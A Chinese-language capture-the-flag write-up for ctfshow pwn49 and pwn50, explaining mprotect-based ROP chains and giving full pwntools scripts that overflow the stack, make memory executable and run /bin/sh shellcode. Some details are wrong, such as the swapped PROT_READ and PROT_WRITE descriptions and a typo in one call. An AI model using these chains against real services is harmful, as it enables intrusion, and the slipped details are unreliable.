题目提示:静态编译?或许你可以找找mprotect函数
32位

开启NX,不可执行
main:


与上一题不同,这里没有给可泄露地址的函数(比如write,put这些打印地址函数)
但给了read函数
file pwn49
输出:pwn49: ELF 32-bit LSB executable, Intel i386, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=db1e246fe40dca2886c2fe54a05b53299506f3fc, not stripped

是静态编译的,32位程序,仅关闭PIE
额。。我的checksec版本太低了,识别到stack_chk_fail_local就认为开启栈保护了
实际上并没有开启。。。
值得注意的是左边的函数非常的多,从这我们也能看出来是静态编译
查看mprotect函数:

mprotect作用:在程序运行时,动态修改某段内存的访问权限(读、写、执行)。然后我们就可以往栈上写入shellcode,执行获取shell
#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);mprotect()函数把自addr开始的、长度为len的内存区的保护属性修改为prot指定的值。
返回值:
成功返回 0
失败返回 -1,并设置 errno
prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
1)PROT_READ:表示内存段内的内容可写; 0x1
2)PROT_WRITE:表示内存段内的内容可读; 0x2
3)PROT_EXEC:表示内存段中的内容可执行;
4)PROT_NONE:表示内存段中的内容根本没法访问。 0x0
5) prot=7 是可读可写可执行
常见组合:
PROT_READ | PROT_WRITE // 可读可写 (rw-),比如 .data 段、堆、栈
PROT_READ | PROT_EXEC // 可读可执行 (r-x),比如 .text 代码段
PROT_READ | PROT_WRITE | PROT_EXEC // 可读可写可执行 (rwx),PWN 中最想要的!
核心限制:必须页对齐:
指定的内存区间必须包含整个内存页(4K)。区间开始的地址addr必须是一个内存页的起始地址(addr 必须是页大小(Page Size)的整数倍),并且区间长度len必须是页大小的整数倍。
因为程序本身也是静态编译,所以mprotect地址是不会变的:
ASLR:
首先造成溢出,让程序跳转到mprotect函数地址:
payload = cyclic(0x12+4) + p32(mprotect)
在IDA里ctrl+s调出程序的段表:

将0x80DA000地址开始修改为可读可写可执行
为什么修改的是.got.plt地址:
根本原因:内存页对齐
mprotect只能按整个内存页(4KB)为单位修改权限
传入的addr必须是页对齐的(即地址必须是4096的倍数)
len必须是页大小的整数倍
mprotect失败的最常见原因就是地址不对齐
必须从0x...000这样的地址开始
0x80DA000 % 0x1000 = 0 √ 页对齐
为什么选择.got.plt的地址:
在漏洞利用中,选择.got.plt有几个优势:
优势:
代码复用:
.got.plt中已经存储了mprotect等系统函数的地址控制流劫持:修改
.got.plt可以劫持后续的函数调用位置确定:
.got.plt的地址在编译时相对固定
使用ROPgadget找到我们需要的ret指令,我们mprotect函数需要设置3个参数,这边就找到3个寄
存器就行。(作为返回地址!)
ROPgadget语法:
核心命令是 ROPgadget --binary <文件名>,配合 --only(精确过滤)、--grep(正则/字符串搜索)或管道符 | grep 来筛选特定的汇编指令。
方法一:使用 --only 参数
1.只找ret: ROPgadget --binary ./vuln --only "ret"
2.找 pop ... ; ret: ROPgadget --binary ./vuln --only "pop|ret"
输出示例:
0x08049022 : pop ebx ; ret
0x08049155 : pop ecx ; pop ebx ; ret
0x080492aa : pop ebp ; pop edi ; pop esi ; pop ebx ; ret
3.找特定寄存器的 pop ; ret: ROPgadget --binary ./vuln --only "pop|ret" | grep "eax"
想找 pop eax ; ret,可以结合管道符 grep
方法二:使用 --grep 参数(字符串匹配)
# 找包含 "pop rdi" 的 gadget
ROPgadget --binary ./vuln --grep "pop rdi"
# 找包含 "syscall" 的 gadget
ROPgadget --binary ./vuln --grep "syscall"
方法三:使用 Linux 管道符 | grep(最灵活)
# 找 pop rdi ; ret
ROPgadget --binary ./vuln | grep "pop rdi ; ret"
# 找所有的 ret
ROPgadget --binary ./vuln | grep ": ret$"
//注:$ 表示行尾,防止匹配到 retf 或其他带 ret 前缀的指令
回到本题:
寻找放置参数的寄存器
输入指令: ROPgadget --binary ./pwn49 --only "pop|ret" | grep pop
//先从程序中筛选出「只由 pop 和 ret 指令组成」的 ROP 片段,然后再从中挑出「至少包含一个 pop 指令」的片段。本质上,它是为了精准寻找用于控制寄存器的标准 Gadget(如 pop rdi ; ret),同时排除掉单独的 ret 。

然后来设置mprotect的参数,将返回地址填上read函数,我们接下来要将shellcode读入程序段,
需要继续控制程序
payload += p32(pop_ebx_esi_ebp_ret) + p32(M_addr) + p32(M_size) + p32(M_proc)
这句话讲权限改为RWX;用寄存器传参时,相当于64位,先参数后函数
payload += p32(read_addr) 32位栈传参,先函数后参数
read函数原型:
ssize_t read(int fd, void *buf, size_t count);
fd 设为0时就可以从输入端读取内容 设为0
buf 设为我们想要执行的内存地址 设为我们已找到的内存地址0x80EB000
size 适当大小就可以 只要够读入shellcode就可以,设置大点无所谓
可以看到read函数也有三个参数要设置,我们就可以继续借用上面找到的有3个寄存器的ret指令(作为返回地址)
payload += p32(pop_ebx_esi_ebp_ret) + p32(0) + p32(M_addr) + p32(M_size) +p32(M_addr)
到这里我们已经完成了修改内存为可读可写可执行,将程序重定向到了我们修改好后的内存地址,
接下来我们只要传入shellcode即可
shellcode = asm(shellcraft.sh())
//pwntools:shellcraft.sh() 负责用 Python 生成一段调用 /bin/sh 的汇编代码文本,asm() 负责把这段汇编文本翻译成 CPU 能看懂的机器码(字节流)。
io.sendline(shellcode)

exp:
from pwn import *
context(arch = 'i386',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28185)
elf = ELF('./pwn')
mprotect = elf.sym['mprotect']
或者:
使用:objdump -d -t .plt pwn | grep mprotect ,查找mprotect地址为:0x0806cdd0
read_addr = elf.sym['read']
pop_ebx_esi_ebp_ret = 0x80a019b #0x080a019b : pop ebx ; pop esi ; pop ebp ;ret
M_addr = 0x80DA000
M_size = 0x1000
M_proc = 0x7 //权限
payload = cyclic(0x12+4) + p32(mprotect)
payload += p32(pop_ebx_esi_ebp_ret) + p32(M_addr) + p32(M_size) +p32(M_proc)
payload += p32(read_addr)
payload += p32(pop_ebx_esi_ebp_ret) + p32(0) + p32(M_addr) + p32(M_size) +p32(M_addr)
//read参数传完后,跳到M_addr位置发送shellcode
io.sendline(payload)
shellcode = asm(shellcraft.sh())
io.sendline(shellcode)
io.recv()
io.interactive()
50
已知:远程libc环境 Ubuntu 18
64位


这里给了puts函数,可以使用ret2libc来完成这题,甚至会更简单
但这里加深一下对mprotect的理解:
1. 泄漏内存地址,通过计算得到libc地址(libc基址动态改变)
以下都是虚拟地址
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28127)
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
使用 pwntools 库中的 ELF 类,加载了你本地 Linux 系统上的 C 标准库文件(libc),并将其解析为一个对象赋值给变量 libc。
这里已知了libc的版本,打远程靶机时,这里必须加载远端服务器使用的 libc,而不是本地的!
pop_rdi_ret = 0x00000000004007e3 # 0x00000000004007e3 : pop rdi ; ret
ctfshow = elf.sym['ctfshow']
//elf.sym['xxx']:通过符号表获取函数/变量的静态地址。因为NO PIE
bss_start_addr = 0x602000
main = elf.sym['main']
shellcode_addr = 0x603000 - 0x100 在bss尾部,使得shellcode写到bss内部
定义了 BSS 段和一段准备用来放 shellcode 的地址

bss地址要满足页对齐:x86_64 架构下,一个标准内存页的大小是 0x1000(即 4096 字节 = 4KB) 。当操作系统把 ELF 文件加载到内存时, 每个段的起始地址必须是页大小(0x1000)的整数倍
gdb ./pwn50
b main //下断点
输出

运行 r

vmmap

没有x权限
或用IDA看:

为什么一定是.bss:
1. 根本原因:NX (DEP) 保护机制
现代操作系统默认开启了 NX(No-eXecute)保护。
栈 (Stack) :权限是 rw-(可读写,不可执行)
堆 (Heap) :权限是 rw-(可读写,不可执行)
BSS / DATA :权限是 rw-(可读写,不可执行)
也就是说, 不管你把 shellcode 写到哪里,默认情况下都不能直接执行 。你必须调用 mprotect 修改某块内存的权限为 rwx。
既然大家都需要改权限,那选谁呢?这就引出了 BSS 的巨大优势。
2. 优势一:BSS 的地址是“固定且已知”的
如果这道题 没有开启 PIE (位置无关可执行文件),那么 ELF 加载到内存后,各段的基址是写死的:
TEXT/DATA/BSS 的地址是绝对固定的 (比如永远是 0x602050)。
但是!栈 (Stack) 和 堆 (Heap) 的地址是随机的! (因为 ASLR 机制)。
对比一下:
如果写栈上 :你每次运行程序,栈的地址都在变。你必须先泄露一个栈地址,算出偏移,才能知道 shellcode 到底写在了哪,ROP 链才能跳过去。这非常麻烦。
如果写 BSS 上 :你连泄露都不用做!直接在脚本里硬编码 shellcode_addr = 0x602050 + 0x100。无论程序跑多少次,这个地址永远有效。
结论:BSS 提供了一个稳定的、无需泄露就能确定的“靶子”。
3. 优势二:mprotect 必须“页对齐”,改 BSS 最安全
mprotect(addr, len, prot) 的第一个参数 addr 必须是 0x1000(一页)的整数倍 。
如果你想改栈的权限 :你需要算出当前栈指针 rsp 所在的页起始地址(比如 0x7fffffffe000),然后对这个地址调用 mprotect。但这很容易破坏栈上的返回地址或其他关键数据,导致程序崩溃。
如果你想改 BSS 的权限 :BSS 通常单独占据一个或几个完整的内存页(如 0x602000 ~ 0x603000)。你对 0x602000 调用 mprotect,只会影响这一个干净的页, 不会误伤代码段(.text)或只读段(.rodata) 。
4. 优势三:BSS 是一块“干净的空地”
栈 (Stack) :上面密密麻麻存着局部变量、函数返回地址、寄存器保存值。你往栈里写 shellcode,极容易覆盖掉程序正常运行需要的数据,导致还没跳到 shellcode 程序就崩了。
堆 (Heap) :需要先用 malloc 分配,且堆块结构复杂(chunk header 等),管理起来很麻烦。
BSS (未初始化数据段) :顾名思义,它里面全是 \x00。只要避开程序本身用到的全局变量(往后稍微偏移一点,比如 + 0x100),它就是一块 巨大的、平坦的、干净的白板 ,随便你用 gets() 往上画什么(写多长的 shellcode 都行)。
print hex(ctfshow)
print hex(bss_start_addr)
######### step1 : leak_libc
payload = cyclic(40)
有别于32位的GOT表泄露:
payload+= p64(pop_rdi_ret)
payload+= p64(elf.got['puts']) //puts函数的参数,即puts自身的真实地址
payload+= p64(elf.plt['puts']) //相当于调用puts函数
payload+= p64(ctfshow) 返回地址,返回到ctfshow这个函数
puts 执行完毕后,EIP 跳到 ctfshow,让程序重新回到可控流程(而不是崩溃退出),以便进行 Step 2 的攻击。
io.recvuntil("Hello CTFshow")
io.sendline(payload)
io.recvline()
leak_addr = u64((io.recvline().split("\x0a")[0]).ljust(8,'\x00'))
libc.address = leak_addr - libc.sym['puts']
ASLR绕过:
真实地址 - 静态偏移 = 动态加载的基址
libc.address = ... 这一句一旦执行,pwntools 会自动把该 libc 对象中所有的符号(如 system, "/bin/sh")全部加上这个基址,变成真实的内存地址!
在 pwntools 中,libc.address 是一个 可读可写的属性 ,它代表了当前 ELF 对象的 基址(Base Address)
① 默认状态(未赋值前)
当你刚执行 libc = ELF('...') 时,pwntools 认为这个文件还没被加载到内存,所以默认:
print(hex(libc.address)) # 输出: 0x0
此时,你调用 libc.sym['puts'],得到的就是纯粹的静态偏移量(比如 0x809c0)。
② 赋值状态
当你通过漏洞计算出了真实的 Libc 基址,并将其赋值给 libc.address 时:
libc.address = leak_addr - libc.sym['puts'] # 假设算出来基址是 0x7f1111000000
pwntools 会自动将 libc.address 的值作为偏移,加到该对象内所有的符号地址上!
也就是说,一旦你设置了 libc.address,pwntools 内部的所有查询逻辑就变成了:
查询结果 = libc.address + 原始静态偏移量
success("libc_base = 0x%x",libc.address)
用绿色高亮在终端打印出计算得到的 libc 基址,确认泄露成功。
io.interacive()
main = elf.sym['main']表示main的绝对虚拟地址
libc.sym['puts']表示puts的静态偏移量
为什么??----受到PIE的影响
如果开启了 PIE,主程序的行为就和 Libc 一模一样了,每次运行基址都会随机化。
elf.sym['main'] 就 不再是真实地址 了!你必须像打 Libc 一样,先通过漏洞泄露出主程序的某个地址,算出 elf.address,然后再利用它。

2. 通过mprotect函数来修改一段区域的权限
######### step2 : mprotect_bss_to_rwx
# ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rsi ; ret"
pop_rsi_ret = libc.address + 0x0000000000023a6a
# ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 |grep ": pop rdx ; ret"
pop_rdx_ret = libc.address + 0x0000000000001b96
payload = cyclic(40)
payload+= p64(pop_rdi_ret)-----1
payload+= p64(bss_start_addr)
payload+= p64(pop_rsi_ret)-----2
payload+= p64(0x1000)
payload+= p64(pop_rdx_ret)-----3
payload+= p64(0x7)
payload+= p64(libc.sym['mprotect'])-----此时是mprotect真实地址
payload+= p64(main)-----返回地址
io.recvuntil("Hello CTFshow")
#gdb.attach(io)
io.sendline(payload)
gdb.attach(io)
//作用 :打开一个新的终端窗口,启动 GDB 并 attach(附加)到 io 所代表的进程上,让脚本暂停执行,等待你在 GDB 中进行交互调试。
io.interactive()
3. 向这段区域写入shellcode
######### step3 : gets_shellcode_to_bss
payload = cyclic(40)
payload+= p64(pop_rdi_ret)
payload+= p64(shellcode_addr)
payload+= p64(libc.sym['gets'])
payload+= p64(main)
io.recvuntil("Hello CTFshow")
io.sendline(payload)
io.sendline(asm(shellcraft.sh()))
io.interactive()
4. 跳转到写入shellcode的区域
######### step4 : ret2bss
payload = cyclic(40)
payload+= p64(shellcode_addr)
io.recvuntil("Hello CTFshow")
io.sendline(payload)
io.interactive()